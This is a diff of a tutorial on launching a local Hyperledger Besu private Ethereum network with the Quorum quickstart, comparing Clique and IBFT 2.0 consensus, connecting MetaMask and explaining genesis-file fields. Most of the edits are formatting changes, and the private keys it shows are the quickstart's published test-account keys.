[here](https://docs.docker.com/docker-for-mac/){target=\_blank}, along with another Getting Started Guide [here](https://docs.docker.com/get-started/){target=\_blank}. If you run into issues, access [the troubleshooting guide for Docker](https://docs.docker.com/docker-for-mac/troubleshoot/){target=\_blank}. Open up Docker on your desktop, and you should see the following: -![](../../../img/S02/besu-3.png) +![docker desktop ui](../../../img/S02/besu-3.png) Click on the Gear icon in the upper right corner. Navigate to resources and ensure under the “Advanced” tab there is at least 6 GB of memory allocated to allow us to run all the examples in this Getting Started guide. Your settings should look like something below: -![](../../../img/S02/besu-4.png) +![docker > resources > advanced](../../../img/S02/besu-4.png) -Linux users will need first need to install [Docker Engine](https://docs.docker.com/engine/install/#server) and then can follow the steps contained within the [Docker Compose documentation.](https://docs.docker.com/compose/install/) +Linux users will need first need to install [Docker Engine](https://docs.docker.com/engine/install/#server){target=\_blank} and then can follow the steps contained within the [Docker Compose documentation](https://docs.docker.com/compose/install/){target=\_blank}. -After installing Docker, Linux users MUST follow [the post-installation steps.](https://docs.docker.com/engine/install/linux-postinstall/) Specifically, you need to add the user to the `docker` group, this step is often overlooked and every docker command will fail if this is not done. +After installing Docker, Linux users MUST follow [the post-installation steps](https://docs.docker.com/engine/install/linux-postinstall/){target=\_blank}. Specifically, you need to add the user to the `docker` group, this step is often overlooked and every docker command will fail if this is not done. ## Part 2: Installing and Starting the Quorum Quickstart @@ -66,47 +65,52 @@ Open up the terminal and type in `npx quorum-dev-quickstart` and press enter (`n The quickstart will download and we will get the following prompt. For the purposes of this guide, we will use the Hyperledger Besu option - which is 1. -![](../../../img/S02/besu-5.png) +![quorum developer quickstart cli](../../../img/S02/besu-5.png) We are not trying out Codefi Orchestrate in this demo, so hit “N for the prompt: -
    Do you want to try out Codefi Orchestrate? Note: choosing yes will direct you to a login/registration page. [Y/n]
+```bash
+    Do you want to try out Codefi Orchestrate? Note: choosing yes will direct you to a login/registration page. [Y/n]
     N
-
+``` We do want to enable support for private transactions, so choose Y for the following prompt: -
    Do you wish to enable support for private transactions? [Y/n]
+```bash
+    Do you wish to enable support for private transactions? [Y/n]
     Y
-
+``` -
    Do you wish to enable support for logging with ELK (Elasticsearch, Logstash & Kibana)? [y/N]
+```bash
+    Do you wish to enable support for logging with ELK (Elasticsearch, Logstash & Kibana)? [y/N]
     Y
-
+``` This will look like: -![](../../../img/S02/besu-6.png) +![quorum developer quickstart wizard](../../../img/S02/besu-6.png) The default directory that will be created to store these files will be named `quorum-test-network`, but you can rename the network on this next line: -
Where should we create the config files for this network? Please choose either an empty directory, or a path to a new directory that does not yet exist. Default: ./quorum-test-network
+```bash +Where should we create the config files for this network? Please choose either an empty directory, or a path to a new directory that does not yet exist. Default: ./quorum-test-network +``` For example, if I wanted to name the directory `besu-test-network`, I would enter `./besu-test-network` and this would create a new directory called `besu-test-network`. The name of the new directory has to be a directory that does not exist, or else we will get an error. The Quorum Quickstart will be installed on your computer in the directory named `quorum-test-network`. In the terminal, change directory to the `quorum-test-network` folder with the command `cd quorum-test-network` and the list out the sub-directories and files within this folder by typing the command `ls` to list the contents of `quorum-test-network` -Type in the command `less README.md` to see the instructions for the quickstart. Hit `q` to exit out of this view. Alternatively, you can see the READ.ME within the Quorum Dev Quickstart by viewing it within [the ConsenSys Quorum GitHub Repository.](https://github.com/ConsenSys/quorum-dev-quickstart/blob/master/files/besu/README.md) +Type in the command `less README.md` to see the instructions for the quickstart. Hit `q` to exit out of this view. Alternatively, you can see the READ.ME within the Quorum Dev Quickstart by viewing it within [the ConsenSys Quorum GitHub Repository](https://github.com/ConsenSys/quorum-dev-quickstart/blob/master/files/besu/README.md){target=\_blank}. We are now going to start a private network that will run using Hyperledger Besu as the Ethereum client. This private network will run locally on our computer. -Run the command `./run.sh` in the terminal. The private network will now begin running. If you run into any issues with starting the Quickstart, use [the Hyperledger Besu chat channel](https://chat.hyperledger.org/) to reach out for help. +Run the command `./run.sh` in the terminal. The private network will now begin running. If you run into any issues with starting the Quickstart, use [the Hyperledger Besu chat channel](https://chat.hyperledger.org/){target=\_blank} to reach out for help. How will we know if we have successfully launched the network? You should see the following (it may take a few minutes for this to load): -![](../../../img/S02/besu-7.png) +![quorum network running](../../../img/S02/besu-7.png) Congratulations! You’ve spun up a private Ethereum network on your local computer using Hyperledger Besu. @@ -114,42 +118,51 @@ Congratulations! You’ve spun up a private Ethereum network on your local compu If you have use Docker and Docker compose previously, particularly with a previous version of this quickstart, it is likely that you could run into an error upon start up: -
ERROR: Pool overlaps with other one on this address space
+```bash +ERROR: Pool overlaps with other one on this address space +``` -If you get this error, it means that even though the docker containers are down, the networks may still exist. A longer thread explaining this issue can be found [here.](https://github.com/maxking/docker-mailman/issues/85) +If you get this error, it means that even though the docker containers are down, the networks may still exist. A longer thread explaining this issue can be found [here](https://github.com/maxking/docker-mailman/issues/85){target=\_blank}. A helpful resolution is to open up the command line and run the following command: -
docker network prune
+```bash +docker network prune +``` If that does not work, run the following combination of commands -
docker-compose down
+```bash
+docker-compose down
 docker network prune
-
+``` This will restart the Docker service, and hopefully resolve any overlap conflicts. You can also run -
run docker ps
+```bash +docker ps +``` to check for any overlapping registered containers. Once those are identified, use -
docker rm
+```bash +docker rm +``` to remove the containers that are overlapping. ## A Brief Discussion of the Consensus Mechanism -Let’s quickly discuss the consensus mechanism you are using in your network. As we discussed earlier, the consensus mechanism is the coordinating process that the network uses to confirm, sync, and finalize new blocks on your blockchain. In this section, we are going to explore the two [Proof of Authority (PoA)](https://en.wikipedia.org/wiki/Proof_of_authority) consensus mechanisms that you can use with Hyperledger Besu: Clique and IBFT 2.0. +Let’s quickly discuss the consensus mechanism you are using in your network. As we discussed earlier, the consensus mechanism is the coordinating process that the network uses to confirm, sync, and finalize new blocks on your blockchain. In this section, we are going to explore the two [Proof of Authority (PoA)](https://en.wikipedia.org/wiki/Proof_of_authority){target=\_blank} consensus mechanisms that you can use with Hyperledger Besu: Clique and IBFT 2.0. -In a private network, we want to avoid using the consensus mechanism that is used on Ethereum mainnet - [Ethash Proof of Work (PoW).](https://eth.wiki/en/concepts/ethash/ethash) Why? Ethash works well for Ethereum mainnet because anyone can participate in Ethereum mainnet by running a node and providing computation power to the network. Therefore, this computationally intense consensus mechanism ensures that any participant must compete with the other participants to produce and propagate blocks. The incentive of block rewards serves to ensure they are following the rules of the network. The more computing power that each node brings to the network, the greater benefits to the security of the network when PoW is the consensus mechanism. +In a private network, we want to avoid using the consensus mechanism that is used on Ethereum mainnet - [Ethash Proof of Work (PoW)](https://ethereum.org/en/developers/docs/consensus-mechanisms/pow/mining-algorithms/ethash){target=\_blank}. Why? Ethash works well for Ethereum mainnet because anyone can participate in Ethereum mainnet by running a node and providing computation power to the network. Therefore, this computationally intense consensus mechanism ensures that any participant must compete with the other participants to produce and propagate blocks. The incentive of block rewards serves to ensure they are following the rules of the network. The more computing power that each node brings to the network, the greater benefits to the security of the network when PoW is the consensus mechanism. We are going to assume that you are not using the Ethash Proof of Work (PoW) consensus mechanism that is used for Ethereum mainnet because your network has participants that are: -1. Known to each other, and -2. Have a certain degree of inherent trust in each other. +1. Known to each other, and +2. Have a certain degree of inherent trust in each other. These two assumptions allow for your network to use a consensus mechanism which is more computationally efficient for the participants - they do not have to have the same computing power required of a node on Ethereum mainnet. These assumptions also allow for the removal of the incentive of block rewards to ensure compliance. Using a PoA consensus mechanism gives your network: @@ -161,11 +174,11 @@ PoA assumes that the creators of the blocks - which are sometimes called minters ### A short explanation of PoA -To understand PoA, it helps to specifically discuss the consensus mechanism Clique PoA, as it was designed to approximate Ethereum mainnet for use in Ethereum testnets. The Ropsten testnet used PoW, but was plagued by attackers forcing reorgs and forks in the testnet and increasing the block gas limit and sending large transactions, which effectively stopped the network. A new consensus mechanism was designed by PĂ©ter SzilĂĄgyi called [Clique,](https://eips.ethereum.org/EIPS/eip-225#standardized-proof-of-authority) which could replace PoW on networks like testnets. Clique PoA was designed to use the existing Ethereum block data structure to add voting functionality. Generally in any PoA consensus mechanism, validators alternate adding blocks to the blockchain in a series. In addition to adding blocks, they can choose to vote to add or kick out a validator. This allows malicious validators to be removed from the network, and trusted validators to be added. This gives PoA resistance against certain kinds of attack vectors like: +To understand PoA, it helps to specifically discuss the consensus mechanism Clique PoA, as it was designed to approximate Ethereum mainnet for use in Ethereum testnets. The Ropsten testnet used PoW, but was plagued by attackers forcing reorgs and forks in the testnet and increasing the block gas limit and sending large transactions, which effectively stopped the network. A new consensus mechanism was designed by PĂ©ter SzilĂĄgyi called [Clique](https://eips.ethereum.org/EIPS/eip-225#standardized-proof-of-authority){target=\_blank}, which could replace PoW on networks like testnets. Clique PoA was designed to use the existing Ethereum block data structure to add voting functionality. Generally in any PoA consensus mechanism, validators alternate adding blocks to the blockchain in a series. In addition to adding blocks, they can choose to vote to add or kick out a validator. This allows malicious validators to be removed from the network, and trusted validators to be added. This gives PoA resistance against certain kinds of attack vectors like: -* A malicious validator - if a machine is compromised, and a validator proposes incorrect blocks, they can be voted out by the other validators -* A censoring validator - if a compromised validator proposes votes to remove good actors, they can be removed by being voted out -* A spamming validator - if a validator makes a voting proposal in every block that the validator creates, the network is spammed by having to consistently tally the votes (votes being to add or remove a validator). By resetting voting after a set period of time (this period of time is referred to as an epoch and is set to be 30,000 blocks in our tutorials), this problem can be mitigated. +- A malicious validator - if a machine is compromised, and a validator proposes incorrect blocks, they can be voted out by the other validators +- A censoring validator - if a compromised validator proposes votes to remove good actors, they can be removed by being voted out +- A spamming validator - if a validator makes a voting proposal in every block that the validator creates, the network is spammed by having to consistently tally the votes (votes being to add or remove a validator). By resetting voting after a set period of time (this period of time is referred to as an epoch and is set to be 30,000 blocks in our tutorials), this problem can be mitigated. Concurrent block creation by a validator can also be prevented by ensuring there is a substantial enough lag between each block being added to the blockchain. @@ -175,12 +188,12 @@ In short, many of the features of mainnet Ethereum can be approximated, but with Now that we know a bit more about PoA, we’ll compare Clique PoA with IBFT 2.0 PoA in regards to: -* **Finality** - the amount of time required to guarantee a block has been added to the blockchain. -* **Validators required** - the minimum amount of validator nodes that have to participate in the network in order for the PoA consensus mechanism to work as intended. -* **Liveness** - the number of validator nodes that must be online or “live” to allow the network to continue running. This can also be thought of as a kind of fault tolerance - the number of validators that can fail at a given point in time and the network will still run. -* **Relative Speed of Block Creation** - how long it takes for each PoA consensus mechanism to create and sync new blocks and the factors that impact the speed of block creation. +- **Finality** - the amount of time required to guarantee a block has been added to the blockchain. +- **Validators required** - the minimum amount of validator nodes that have to participate in the network in order for the PoA consensus mechanism to work as intended. +- **Liveness** - the number of validator nodes that must be online or “live” to allow the network to continue running. This can also be thought of as a kind of fault tolerance - the number of validators that can fail at a given point in time and the network will still run. +- **Relative Speed of Block Creation** - how long it takes for each PoA consensus mechanism to create and sync new blocks and the factors that impact the speed of block creation. -![](../../../img/S02/besu-8.png) +![clique vs ibft 2.0](../../../img/S02/besu-8.png) **Finality** @@ -214,10 +227,10 @@ IBFT 2.0 is slower at adding blocks. As more validators are added the time to ad A custom guitar manufacturer wants to create transparency for their customers to show the woods they are using in building custom guitars. They source woods locally and use reclaimed woods from the city they are based in. They want to write a transaction to a blockchain so that a customer can scan a QR code and see each transaction associated with the various woods used in the guitars. They work directly with two wood suppliers, and with an additional individual who helps them with salvage work to get reclaimed wood from old buildings. Looking at this case, we see the following: -* There is anywhere from a single to maybe four participants to start (the two wood suppliers and the reclaimed wood supplier) -* This is a project to provide transparency to the end-user, so transactions can be sent as needed, with addresses being created to represent specific guitars that are being built. -* The transactions will represent different woods and provide information on their sourcing -* If a single node were run, if it were to go offline, it would only impact the guitar builder. +- There is anywhere from a single to maybe four participants to start (the two wood suppliers and the reclaimed wood supplier) +- This is a project to provide transparency to the end-user, so transactions can be sent as needed, with addresses being created to represent specific guitars that are being built. +- The transactions will represent different woods and provide information on their sourcing +- If a single node were run, if it were to go offline, it would only impact the guitar builder. Because immediate finality is not required, there is the potential of only needing a single validator at the start, it would be possible to use a Clique PoA network. If the suppliers wanted to join the network, they could all do so, and if one of them left the network, there would not be an impact to running the blockchain. @@ -229,73 +242,70 @@ A group of six casinos decide to create a sportsbook together, in order to share Based on these examples, here are questions to ask yourself, which can help you determine which PoA consensus mechanism may make more sense. **What are my finality requirements?** -* Does my use case require that each block created instantly be confirmed? -* If a block is not instantly confirmed, what are the potential impacts? +- Does my use case require that each block created instantly be confirmed? +- If a block is not instantly confirmed, what are the potential impacts? **How many validators do I intend my network to have?** -* How many will I have at the start? -* How many could be added to the network over time? -* Do I think validators could leave my network? -* Would I stop running the network if a certain number of validators left? -* Do I need participants to join the network without being validators? Should they be able to submit transactions? +- How many will I have at the start? +- How many could be added to the network over time? +- Do I think validators could leave my network? +- Would I stop running the network if a certain number of validators left? +- Do I need participants to join the network without being validators? Should they be able to submit transactions? **What fault tolerance does my network require?** -* Does the number of validators that will participate at start allow for the network to continue running if one goes down? -* What happens if two or more validators go down? +- Does the number of validators that will participate at start allow for the network to continue running if one goes down? +- What happens if two or more validators go down? **How fast do I need to be able to create new blocks?** -* Will the speed at which I need to create new blocks stay constant or can it slow down if new validators are added? +- Will the speed at which I need to create new blocks stay constant or can it slow down if new validators are added? These questions can serve as a guide in thinking which PoA consensus mechanism makes sense for your use case. ## Part 3: Set up MetaMask - + Now that we have the network up and running, we are going to set up our MetaMask wallet. If you already have MetaMask installed, you can skip this step. If not, follow the links below. -First, download the MetaMask browser extension. If you want to explore the features of MetaMask, this article can help you walk through how to send your first transaction using MetaMask. +First, [download the MetaMask browser extension](https://metamask.io/download){target=\_blank}. If you want to explore the features of MetaMask, [this article](https://consensys.net/developers/onboarding-step-1/){target=\_blank} can help you walk through how to send your first transaction using MetaMask. Follow the instructions to set up your MetaMask account. For the purposes of this guide, the accounts we will be using will not have mainnet Ether. Still get in the habit of the following: + - Copy down your seed phrase and store it in a secure location. - Do not share your seed phrase with anyone - Ensure that you can use your seed phrase to recover your account -MetaMask is a self-custodial wallet, so if you lose the seed phrase associated with it, you have lost access to that Ethereum account. If you give that seed phrase to someone, they now have control over that account. +MetaMask is a self-custodial wallet, so if you lose the seed phrase associated with it, you have lost access to that Ethereum account. If you give that seed phrase to someone, they now have control over that account. -Open up your MetaMask account and navigate to to the top of the browser extension click on the Ethereum Mainnet menu. From the drop down select Localhost 8545. This is where the blockchain that we spun up with the quickstart is running. +Open up your MetaMask account and navigate to to the top of the browser extension click on the Ethereum Mainnet menu. From the drop down select Localhost 8545. This is where the blockchain that we spun up with the quickstart is running. -If you want to learn more about connecting to different networks, this documentation from MetaMask will give you more insight on how it works. -MetaMask will allow us to send transactions between Ethereum accounts on our network, which we will call Externally Owned Accounts (EOA). When we ran the quickstart, the private blockchain network that we created was initialized with three accounts pre-loaded with test Ether. +If you want to learn more about connecting to different networks, [this documentation](https://metamask.zendesk.com/hc/en-us/articles/360043227612-How-to-add-custom-Network-RPC-and-or-Block-Explorer){target=\_blank} from MetaMask will give you more insight on how it works. +MetaMask will allow us to send transactions between Ethereum accounts on our network, which we will call **Externally Owned Accounts (EOA).** When we ran the quickstart, the private blockchain network that we created was initialized with three accounts pre-loaded with test Ether. -Looking into the quorum-test-network folder, you will see a structure within the config -> besu folder that shows the three member folders. In each folder is a keys folder, which has a file called key, which is the private key and key.pub, which is the public key. +Looking into the `quorum-test-network` folder, you will see a structure within the config -> besu folder that shows the three member folders. In each folder is a keys folder, which has a file called key, which is the private key and key.pub, which is the public key. We will open the file named “key” in member1 to see what is inside -Here we see the private key, without the 0x prefix. The private key for this address would be +Here we see the private key, without the `0x` prefix. The private key for this address would be -0x8f2a55949038a9610f50fb23b5883af3b4ecb3c3bb792cbcefbd1542c692be63 +`0x8f2a55949038a9610f50fb23b5883af3b4ecb3c3bb792cbcefbd1542c692be63` To import this address into our MetaMask, we will click the circle in the upper right corner of the MetaMask extension. This circle is called a favicon by the MetaMask team: - We will hit the Import Account button: - And will copy paste the private key, repeated below: -0x8f2a55949038a9610f50fb23b5883af3b4ecb3c3bb792cbcefbd1542c692be63 +`0x8f2a55949038a9610f50fb23b5883af3b4ecb3c3bb792cbcefbd1542c692be63` Into the following field - This will create our account, which is pre-loaded with 200 test Ether: - - Below you can find information about the pre-loaded accounts:, in the event you want to import them: - + +```bash Test Account 1 (address 0xfe3b557e8fb62b89f4916b721be55ceb828dbd73) Private key to copy : 0x8f2a55949038a9610f50fb23b5883af3b4ecb3c3bb792cbcefbd1542c692be63 @@ -310,17 +320,14 @@ Test Account 3 (address 0xf17f52151EbEF6C7334FAD080c5704D77216b732) Private key to copy : 0xae6ae8e5ccbfb04590405997ee2d52d2b330726137b875053c36d94e974d162f Initial balance : 90000 Eth (90000000000000000000000 Wei) +``` If we import these accounts and send 7 ETH from Test Account 1 to Test Account 2: - - -we can see within the block explorer (accessible in our browser at http://localhost:25000/), Account 1 will decrement by 7 ETH: +we can see within the block explorer (accessible in our browser at [http://localhost:25000](http://localhost:25000){target=\_blank}), Account 1 will decrement by 7 ETH: And that Account 2 will increase by just under 7 ETH - - Why didn’t Account 2 increase by 7 ETH? In this specific example, we have paid a transaction cost to send the Ether from one account to another. The transaction cost is called the gas, and is sometimes also called the gas fee. It is paid in increments of Ether called Wei, which is a fractional amount of ETH (1 Wei is 10^-18 ETH). There is a 21000 wei cost we pay to send Ether, and that is deducted from the transaction, which was the gas limit (the upper amount of gas we are willing to pay) stipulated for this transaction on MetaMask. The private network we have created is a gas-less network, so there is no need to pay that fee, and we could reduce the gas limit to 0 and the transaction would go through. Understanding gas is critical for understanding how mainnet Ethereum works, as well as how it may be useful in other private networks we create, but for now, you can read a brief overview about gas here to better understand this concept. @@ -329,6 +336,7 @@ How were these accounts created? When we ran ./run.sh in our terminal, this script told docker-compose to run a .yml file, which contained information about the accounts, keys, and initialization information for our network in a genesis file. This genesis file - which is a .json file, provided our blockchain with information about the accounts, including the address and the amount of Ether they held. To see a genesis file in the quickstart, you can open and look at cliqueGenesis.json, which is in the quorum-test-network -> config -> besu directory. It looks like the following: +```json { "config":{ "chainId":1337, @@ -366,6 +374,7 @@ When we ran ./run.sh in our terminal, this script told docker-compose to run a . "gasUsed":"0x0", "parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000" } +``` Within this file, I have highlighted the accounts that were created and the balances they were created with (the balances are in wei, not Ether. Remember 1 wei is 10 x -18 Ether). The quickstart and the scripts we run take care of creating these accounts, but we are able to create our own network where we can initialize accounts and configure our network to be customized to our particular use case. @@ -377,6 +386,7 @@ The first block in a blockchain is called the genesis block. Ethereum mainnet’ The genesis file for Ethereum mainnet, along with the supported testnets, is included in the download of Besu. When creating a private network, a custom genesis file must be provided. The genesis file is a JSON formatted file. It looks like the below: +```json { "config": { "chainId": 2018, @@ -400,9 +410,11 @@ The genesis file for Ethereum mainnet, along with the supported testnets, is inc } } } +``` -In this specific example, the genesis file is for an IBFT 2.0 private network. +In this specific example, the genesis file is for an IBFT 2.0 private network. +```json { "config": { "chainId": 2018, @@ -412,37 +424,49 @@ In this specific example, the genesis file is for an IBFT 2.0 private network. "epochlength": 30000, "requesttimeoutseconds": 4 } - +``` The config key section contains the following information about the blockchain +```text “chainId”: 2018 +``` -The chainId controls the transaction signature process, providing a unique identifier to allow for the hashing of signed transactions to only work on the network associated with the corresponding chainId. Ethereum Improvement Proposal 155 (EIP-155) provides more information on the relationale behind the chainID. Most chainIDs match the networkID of the network. In this case, 2018 refers to the chainID associated with a development chain. For a list of the network and chain IDs, please see the Documentation. +The chainId controls the transaction signature process, providing a unique identifier to allow for the hashing of signed transactions to only work on the network associated with the corresponding chainId. Ethereum Improvement Proposal 155 (EIP-155) provides more information on the rationale behind the chainID. Most chainIDs match the networkID of the network. In this case, 2018 refers to the chainID associated with a development chain. For a list of the network and chain IDs, please see the Documentation. +```text "muirglacierblock": 0, +``` This field is called a “milestone block”. Muir glacier refers to a specific network upgrade that occurred at block 9,200,000 on Ethereum mainnet. For private networks, like the one that is being created in this example, the name of the latest milestone block can be listed, and set to be the genesis block. Here you can see a continuously updated list of network upgrades and the associated blocks for Ethereum. +```text “ibft2”: +``` This specifies that the consensus protocol for the blockchain is IBFT 2.0. The options available for specifying the consensus mechanism are available in the documentation, with an overview of the proof-of-authority (PoA) consensus protocols available here. Within the specification, the following three fields are provided: +```text "blockperiodseconds": 2, +``` The minimum block time, in seconds. In this case, after two seconds, a new block will be proposed by the network with transactions stored in the memory pool packaged and distributed to the network. +```text "epochlength": 30000, +``` The number of blocks at which to reset all votes. The votes refer to validators voting to add or remove validators to the network. In this case, after 30,000 blocks are created, this IBFT 2.0 network will discard all pending votes collected from received blocks. Existing proposals remain in effect and validators re-add their vote the next time they create a block. +```text "requesttimeoutseconds": 4 +``` The time by which a new block must be proposed or else a new validator will be assigned by the network. If a validator goes down, the request time out ensures that the proposal of a new block passes on to another validator. The request time out seconds should be set to be double the minimum block time (blockperiodseconds), hence why it is 4. +The second section, starting with "nonce": "0x0", contains information about the genesis block -The second section, starting with "nonce": "0x0", contains information about the genesis block - +```json "nonce": "0x0", "timestamp": "0x58ee40ba", "extraData": "0xf83ea00000000000000000000000000000000000000000000000000000000000000000d5949811ebc35d7b06b3fa8dc5809a1f9c52751e1deb808400000000c0", @@ -456,46 +480,63 @@ The second section, starting with "nonce": "0x0", contains information about th } } } +``` - - "nonce": "0x0", +```text +"nonce": "0x0", +``` The number used once aka nonce, that is a part of the blockheader for the first block. Set to 0x0. - "timestamp": "0x58ee40ba", +```text +"timestamp": "0x58ee40ba", +``` -The creation date and time of the block. Often it can be set to 0x0, but as long as it is any value in the past, it will work. In this case 0x58ee40ba is a hexadecimal which converts to 1492009146 and represents Wed Apr 12 2017 14:59:06 GMT+0000 +The creation date and time of the block. Often it can be set to `0x0`, but as long as it is any value in the past, it will work. In this case `0x58ee40ba` is a hexadecimal which converts to `1492009146` and represents `Wed Apr 12 2017 14:59:06 GMT+0000` - "extraData": "0xf83ea00000000000000000000000000000000000000000000000000000000000000000d5949811ebc35d7b06b3fa8dc5809a1f9c52751e1deb808400000000c0", +```text +"extraData": "0xf83ea00000000000000000000000000000000000000000000000000000000000000000d5949811ebc35d7b06b3fa8dc5809a1f9c52751e1deb808400000000c0", +``` Extra data is a recursive length prefix (RLP) encoded string (which is space efficient) containing the validator addresses of the IBFT 2.0 private network. The validator addresses are unique to the validators, so if there are four validators are the start of the network, this field should contain a list of their addresses.. Instructions on how to create an RLP using Besu can be found here. - "gasLimit": "0x1fffffffffffff", +```text +"gasLimit": "0x1fffffffffffff", +``` The block gas limit, which is the total gas limit for all transactions included in a block. It defines how large the block size can be for the block, and is represented by an hexadecimal string. For this network, the gas limit is the maximum size, and is therefore a “free gas network” - "difficulty": "0x1", +```text +"difficulty": "0x1", +``` The difficulty of creating a new block. Represented as a hexadecimal string, the difficulty is set to 1, effectively the lowest difficulty. - - "mixHash": "0x63746963616c2062797a616e74696e65206661756c7420746f6c6572616e6365", -The mixHash is the unique identifier for the block, which for this genesis file is 0x63746963616c2062797a616e74696e65206661756c7420746f6c6572616e6365 - +```text +"mixHash": "0x63746963616c2062797a616e74696e65206661756c7420746f6c6572616e6365", +``` + +The mixHash is the unique identifier for the block, which for this genesis file is `0x63746963616c2062797a616e74696e65206661756c7420746f6c6572616e6365` + +```text "coinbase": "0x0000000000000000000000000000000000000000", +``` + +The network coinbase account, which is where all block rewards for this network will be paid. In this case it is to `0x0000000000000000000000000000000000000000`, which is sometimes called `address(0)` or the zero address. -The network coinbase account, which is where all block rewards for this network will be paid. In this case it is to 0x0000000000000000000000000000000000000000, which is sometimes called address(0) or the zero address. - +```text "alloc": { "9811ebc35d7b06b3fa8dc5809a1f9c52751e1deb": { "balance": "0xad78ebc5ac6200000" +``` -The alloc field creates an address on our network, which is sometimes also referred to as an externally owned account, as it is an account not associated with a smart contract (referred to as a contract account). The number starting with “98” is the public key of the address. The balance can be passed in as a decimal OR a hexadecimal (like it has in this case and corresponds to 200 ETH, or 2*10^20 Wei). The balance is always in Wei, or 10^-18 Ether. +The alloc field creates an address on our network, which is sometimes also referred to as an externally owned account, as it is an account not associated with a smart contract (referred to as a contract account). The number starting with “98” is the public key of the address. The balance can be passed in as a decimal OR a hexadecimal (like it has in this case and corresponds to 200 ETH, or 2\*10^20 Wei). The balance is always in Wei, or 10^-18 Ether. A Second Genesis File Below we provide another genesis file with a different consensus mechanism, Clique PoA, and different information. Take a look below and see what values stick out. This is the genesis file for the chain that you can build in the ConsenSys Quorum quickstart: +```json { "config":{ "chainId":1337, @@ -532,9 +573,11 @@ Below we provide another genesis file with a different consensus mechanism, Cliq "gasUsed":"0x0", "parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000" } +``` -Once again, we will look at the fields and explain them. +Once again, we will look at the fields and explain them. +```json { "config":{ "chainId":1337, @@ -544,31 +587,43 @@ Once again, we will look at the fields and explain them. "epochlength":30000 } } +``` The config key section contains the following information about the blockchain +```text “chainId”: 1337 +``` In this case. 1337 refers to a local chainID. MetaMask, a self-custodial wallet, and Ganache, which is Truffle’s Private Blockchain App, both use this as the local chain ID, and so to follow convention, in this genesis file we are doing the same. For a list of the network and chain IDs, please see the Documentation. +```text "muirglacierblock": 0, +``` -Once again, we have set the milestone block to Muir Glacier. Something to note - The “milestone block” could be for this configuration file, which is something you may see in some tutorials. For example, if we saw constantinopleBlock": 0, this refers to a specific network upgrade that occurred at block 7,280,000 on Ethereum mainnet. For private networks, like the one that is being created in this example, the name of the latest milestone block can be listed, and set to be the genesis block. Here you can see a continuously updated list of network upgrades and the associated blocks for Ethereum. +Once again, we have set the milestone block to Muir Glacier. Something to note - The “milestone block” could be for this configuration file, which is something you may see in some tutorials. For example, if we saw constantinopleBlock": 0, this refers to a specific network upgrade that occurred at block 7,280,000 on Ethereum mainnet. For private networks, like the one that is being created in this example, the name of the latest milestone block can be listed, and set to be the genesis block. Here you can see a continuously updated list of network upgrades and the associated blocks for Ethereum. +```text “clique”: +``` This specifies that the consensus protocol for the blockchain is Clique. The options available for specifying the consensus mechanism are available in the documentation, with an overview of the proof-of-authority (PoA) consensus protocols available here. Within the specification, the following two fields are provided: +```text "blockperiodseconds": 15, +``` The minimum block time, in seconds. In this case, after 15 seconds, a new block will be proposed by the network. Given this genesis file is modeled after the testnet, it is made to approximate the minimum blocktime of mainnet, which is 15 seconds. +```text "epochlength": 30000, +``` The number of blocks at which to reset all votes. The votes refer to validators voting to add or remove validators to the network. In this case, after 30,000 blocks are created, this Clique network will discard all pending votes collected from received blocks. Existing proposals remain in effect and validators re-add their vote the next time they create a block. Starting at the coinbase we now have the information available in the genesis block +```json "coinbase":"0x0000000000000000000000000000000000000000", "difficulty":"0x1", "extraData":"0x00000000000000000000000000000000000000000000000000000000000000004592c8e45706cc08b8f44b11e43cba0cfc5892cb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", @@ -593,33 +648,47 @@ Starting at the coinbase we now have the information available in the genesis bl "balance": "90000000000000000000000" } } +``` -"coinbase": "0x0000000000000000000000000000000000000000", +```text +"coinbase": "0x0000000000000000000000000000000000000000", +``` -The coinbase account, which is where all block rewards for this network will be paid. In this case it is to 0x0000000000000000000000000000000000000000, which is sometimes called address(0) or the zero address. +The coinbase account, which is where all block rewards for this network will be paid. In this case it is to `0x0000000000000000000000000000000000000000`, which is sometimes called address(0) or the zero address. - "difficulty": "0x1", +```text +"difficulty": "0x1", +``` The difficulty of creating a new block. Represented as a hexadecimal string, the difficulty is set to 1, effectively the lowest difficulty. +```text "extraData":"0x00000000000000000000000000000000000000000000000000000000000000004592c8e45706cc08b8f44b11e43cba0cfc5892cb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", +``` -Extra data is a recursive length prefix (RLP) encoded string (which is space efficient) containing the validator address of the Clique private network, which in this case is 4592c8e45706cc08b8f44b11e43cba0cfc5892cb. Instructions on how to create an RLP using Besu can be found here and how to add additional addresses for a Clique network with additional signers can be found here. +Extra data is a recursive length prefix (RLP) encoded string (which is space efficient) containing the validator address of the Clique private network, which in this case is `4592c8e45706cc08b8f44b11e43cba0cfc5892cb`. Instructions on how to create an RLP using Besu can be found here and how to add additional addresses for a Clique network with additional signers can be found here. +```text "gasLimit": "0xa00000", +``` -The block gas limit, which is the total gas limit for all transactions included in a block. It defines how large the block size can be for the block, and is represented by an hexadecimal string. For this network, the gas limit is - "mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000", +The block gas limit, which is the total gas limit for all transactions included in a block. It defines how large the block size can be for the block, and is represented by an hexadecimal string. For this network, the gas limit is -The mixHash is the unique identifier for the block, which for this genesis file is 0x0000000000000000000000000000000000000000000000000000000000000000 - -"nonce": "0x0", +```text +"mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000", +``` +The mixHash is the unique identifier for the block, which for this genesis file is `0x0000000000000000000000000000000000000000000000000000000000000000` - "timestamp": "0x5c51a607", +```text +"nonce": "0x0", + +"timestamp": "0x5c51a607", +``` -In this case 0x5c51a607 is a hexadecimal which converts to 1548854791 and represents Wed Jan 30 2019 13:26:31 GMT+0000. +In this case `0x5c51a607` is a hexadecimal which converts to `1548854791` and represents `Wed Jan 30 2019 13:26:31 GMT+0000`. +```json "alloc": { "fe3b557e8fb62b89f4916b721be55ceb828dbd73": { "privateKey": "8f2a55949038a9610f50fb23b5883af3b4ecb3c3bb792cbcefbd1542c692be63", @@ -636,45 +705,52 @@ In this case 0x5c51a607 is a hexadecimal which converts to 1548854791 and repres "comment": "private key and this comment are ignored. In a real chain, the private key should NOT be stored", "balance": "90000000000000000000000" } +``` -The alloc field creates three addresses on our network, The balance can be passed in as a decimal (like the second and third account, which are both 900 ETH, or 2*10^20 Wei) OR a hexadecimal (like the first account, which is 200 ETH, or 2*10^20 